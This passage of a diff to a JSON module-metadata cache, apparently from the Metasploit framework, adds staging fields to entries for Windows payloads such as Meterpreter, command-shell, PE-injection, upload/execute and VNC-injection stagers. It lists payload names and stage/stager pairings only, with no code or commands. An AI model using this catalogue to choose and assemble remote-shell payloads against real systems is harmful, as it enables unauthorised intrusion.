@@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/patchupmeterpreter/reverse_tcp_rc4": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -203744,7 +225319,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/patchupmeterpreter/reverse_tcp_rc4_dns": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -203783,7 +225362,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/patchupmeterpreter/reverse_tcp_uuid": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support", @@ -203820,7 +225403,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/peinject/bind_hidden_ipknock_tcp": { "name": "Windows Inject PE Files, Hidden Bind Ipknock TCP Stager", @@ -203858,7 +225445,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/peinject/bind_hidden_tcp": { "name": "Windows Inject PE Files, Hidden Bind TCP Stager", @@ -203896,7 +225487,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/peinject/bind_ipv6_tcp": { "name": "Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)", @@ -203933,7 +225528,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/peinject/bind_ipv6_tcp_uuid": { "name": "Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -203971,7 +225570,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/peinject/bind_named_pipe": { "name": "Windows Inject PE Files, Windows x86 Bind Named Pipe Stager", @@ -204006,7 +225609,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/peinject/bind_nonx_tcp": { "name": "Windows Inject PE Files, Bind TCP Stager (No NX or Win7)", @@ -204041,7 +225648,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/peinject/bind_tcp": { "name": "Windows Inject PE Files, Bind TCP Stager (Windows x86)", @@ -204078,7 +225689,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_tcp" }, "payload_windows/peinject/bind_tcp_rc4": { "name": "Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -204117,7 +225732,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/peinject/bind_tcp_uuid": { "name": "Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)", @@ -204153,7 +225772,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/peinject/find_tag": { "name": "Windows Inject PE Files, Find Tag Ordinal Stager", @@ -204188,7 +225811,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/findtag_ord" }, "payload_windows/peinject/reverse_ipv6_tcp": { "name": "Windows Inject PE Files, Reverse TCP Stager (IPv6)", @@ -204225,7 +225852,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/peinject/reverse_named_pipe": { "name": "Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager", @@ -204260,7 +225891,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_named_pipe" }, "payload_windows/peinject/reverse_nonx_tcp": { "name": "Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)", @@ -204295,7 +225930,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/peinject/reverse_ord_tcp": { "name": "Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -204330,7 +225969,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/peinject/reverse_tcp": { "name": "Windows Inject PE Files, Reverse TCP Stager", @@ -204367,7 +226010,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/peinject/reverse_tcp_allports": { "name": "Windows Inject PE Files, Reverse All-Port TCP Stager", @@ -204404,7 +226051,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/peinject/reverse_tcp_dns": { "name": "Windows Inject PE Files, Reverse TCP Stager (DNS)", @@ -204442,7 +226093,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/peinject/reverse_tcp_rc4": { "name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -204481,7 +226136,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/peinject/reverse_tcp_rc4_dns": { "name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -204520,7 +226179,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/peinject/reverse_tcp_uuid": { "name": "Windows Inject PE Files, Reverse TCP Stager with UUID Support", @@ -204556,7 +226219,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/pingback_bind_tcp": { "name": "Windows x86 Pingback, Bind TCP Inline", @@ -204590,7 +226257,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/pingback_reverse_tcp": { "name": "Windows x86 Pingback, Reverse TCP Inline", @@ -204624,7 +226293,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/powershell_bind_tcp": { "name": "Windows Interactive Powershell Session, Bind TCP", @@ -204661,7 +226332,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/powershell_reverse_tcp": { "name": "Windows Interactive Powershell Session, Reverse TCP", @@ -204698,7 +226371,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/powershell_reverse_tcp_ssl": { "name": "Windows Interactive Powershell Session, Reverse TCP SSL", @@ -204735,7 +226410,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/shell/bind_hidden_ipknock_tcp": { "name": "Windows Command Shell, Hidden Bind Ipknock TCP Stager", @@ -204773,7 +226450,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/shell/bind_hidden_tcp": { "name": "Windows Command Shell, Hidden Bind TCP Stager", @@ -204811,7 +226492,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/shell/bind_ipv6_tcp": { "name": "Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)", @@ -204848,7 +226533,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/shell/bind_ipv6_tcp_uuid": { "name": "Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -204886,7 +226575,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/shell/bind_named_pipe": { "name": "Windows Command Shell, Windows x86 Bind Named Pipe Stager", @@ -204922,7 +226615,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/shell/bind_nonx_tcp": { "name": "Windows Command Shell, Bind TCP Stager (No NX or Win7)", @@ -204958,7 +226655,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/shell/bind_tcp": { "name": "Windows Command Shell, Bind TCP Stager (Windows x86)", @@ -204995,7 +226696,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_tcp" }, "payload_windows/shell/bind_tcp_rc4": { "name": "Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -205034,7 +226739,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/shell/bind_tcp_uuid": { "name": "Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)", @@ -205071,7 +226780,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/shell/find_tag": { "name": "Windows Command Shell, Find Tag Ordinal Stager", @@ -205107,7 +226820,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/findtag_ord" }, "payload_windows/shell/reverse_ipv6_tcp": { "name": "Windows Command Shell, Reverse TCP Stager (IPv6)", @@ -205144,7 +226861,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/shell/reverse_nonx_tcp": { "name": "Windows Command Shell, Reverse TCP Stager (No NX or Win7)", @@ -205180,7 +226901,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/shell/reverse_ord_tcp": { "name": "Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -205215,7 +226940,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/shell/reverse_tcp": { "name": "Windows Command Shell, Reverse TCP Stager", @@ -205252,7 +226981,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/shell/reverse_tcp_allports": { "name": "Windows Command Shell, Reverse All-Port TCP Stager", @@ -205289,7 +227022,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/shell/reverse_tcp_dns": { "name": "Windows Command Shell, Reverse TCP Stager (DNS)", @@ -205327,7 +227064,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/shell/reverse_tcp_rc4": { "name": "Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -205366,7 +227107,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/shell/reverse_tcp_rc4_dns": { "name": "Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -205405,7 +227150,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/shell/reverse_tcp_uuid": { "name": "Windows Command Shell, Reverse TCP Stager with UUID Support", @@ -205442,7 +227191,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/shell/reverse_udp": { "name": "Windows Command Shell, Reverse UDP Stager with UUID Support", @@ -205478,7 +227231,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_udp" }, "payload_windows/shell_bind_tcp": { "name": "Windows Command Shell, Bind TCP Inline", @@ -205513,7 +227270,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/shell_bind_tcp_xpfw": { "name": "Windows Disable Windows ICF, Command Shell, Bind TCP Inline", @@ -205547,7 +227306,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/shell_hidden_bind_tcp": { "name": "Windows Command Shell, Hidden Bind TCP Inline", @@ -205583,7 +227344,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/shell_reverse_tcp": { "name": "Windows Command Shell, Reverse TCP Inline", @@ -205618,7 +227381,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/speak_pwned": { "name": "Windows Speech API - Say \"You Got Pwned!\"", @@ -205652,7 +227417,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/upexec/bind_hidden_ipknock_tcp": { "name": "Windows Upload/Execute, Hidden Bind Ipknock TCP Stager", @@ -205690,7 +227457,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/upexec/bind_hidden_tcp": { "name": "Windows Upload/Execute, Hidden Bind TCP Stager", @@ -205728,7 +227499,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/upexec/bind_ipv6_tcp": { "name": "Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)", @@ -205765,7 +227540,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/upexec/bind_ipv6_tcp_uuid": { "name": "Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -205803,7 +227582,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/upexec/bind_named_pipe": { "name": "Windows Upload/Execute, Windows x86 Bind Named Pipe Stager", @@ -205839,7 +227622,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/upexec/bind_nonx_tcp": { "name": "Windows Upload/Execute, Bind TCP Stager (No NX or Win7)", @@ -205874,7 +227661,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/upexec/bind_tcp": { "name": "Windows Upload/Execute, Bind TCP Stager (Windows x86)", @@ -205911,7 +227702,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_tcp" }, "payload_windows/upexec/bind_tcp_rc4": { "name": "Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -205950,7 +227745,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/upexec/bind_tcp_uuid": { "name": "Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)", @@ -205987,7 +227786,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/upexec/find_tag": { "name": "Windows Upload/Execute, Find Tag Ordinal Stager", @@ -206023,7 +227826,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/findtag_ord" }, "payload_windows/upexec/reverse_ipv6_tcp": { "name": "Windows Upload/Execute, Reverse TCP Stager (IPv6)", @@ -206060,7 +227867,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/upexec/reverse_nonx_tcp": { "name": "Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)", @@ -206095,7 +227906,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/upexec/reverse_ord_tcp": { "name": "Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -206131,7 +227946,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/upexec/reverse_tcp": { "name": "Windows Upload/Execute, Reverse TCP Stager", @@ -206168,7 +227987,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/upexec/reverse_tcp_allports": { "name": "Windows Upload/Execute, Reverse All-Port TCP Stager", @@ -206205,7 +228028,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/upexec/reverse_tcp_dns": { "name": "Windows Upload/Execute, Reverse TCP Stager (DNS)", @@ -206243,7 +228070,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/upexec/reverse_tcp_rc4": { "name": "Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -206282,7 +228113,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/upexec/reverse_tcp_rc4_dns": { "name": "Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -206321,7 +228156,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/upexec/reverse_tcp_uuid": { "name": "Windows Upload/Execute, Reverse TCP Stager with UUID Support", @@ -206358,7 +228197,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/upexec/reverse_udp": { "name": "Windows Upload/Execute, Reverse UDP Stager with UUID Support", @@ -206394,7 +228237,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_udp" }, "payload_windows/vncinject/bind_hidden_ipknock_tcp": { "name": "VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager", @@ -206432,7 +228279,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/vncinject/bind_hidden_tcp": { "name": "VNC Server (Reflective Injection), Hidden Bind TCP Stager", @@ -206470,7 +228321,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/vncinject/bind_ipv6_tcp": { "name": "VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)", @@ -206507,7 +228362,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/vncinject/bind_ipv6_tcp_uuid": { "name": "VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -206545,7 +228404,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/vncinject/bind_named_pipe": { "name": "VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager", @@ -206581,7 +228444,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/vncinject/bind_nonx_tcp": { "name": "VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)", @@ -206617,7 +228484,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/vncinject/bind_tcp": { "name": "VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)", @@ -206654,7 +228525,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_tcp" }, "payload_windows/vncinject/bind_tcp_rc4": { "name": "VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -206693,7 +228568,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/vncinject/bind_tcp_uuid": { "name": "VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)", @@ -206730,7 +228609,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/vncinject/find_tag": { "name": "VNC Server (Reflective Injection), Find Tag Ordinal Stager", @@ -206766,7 +228649,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/findtag_ord" }, "payload_windows/vncinject/reverse_hop_http": { "name": "VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager", @@ -206804,7 +228691,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_hop_http" }, "payload_windows/vncinject/reverse_http": { "name": "VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)", @@ -206840,7 +228731,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_http" }, "payload_windows/vncinject/reverse_http_proxy_pstore": { "name": "VNC Server (Reflective Injection), Reverse HTTP Stager Proxy", @@ -206876,7 +228771,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_http_proxy_pstore" }, "payload_windows/vncinject/reverse_ipv6_tcp": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)", @@ -206913,7 +228812,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/vncinject/reverse_nonx_tcp": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)", @@ -206949,7 +228852,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/vncinject/reverse_ord_tcp": { "name": "VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)", @@ -206985,7 +228892,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/vncinject/reverse_tcp": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager", @@ -207022,7 +228933,11 @@ 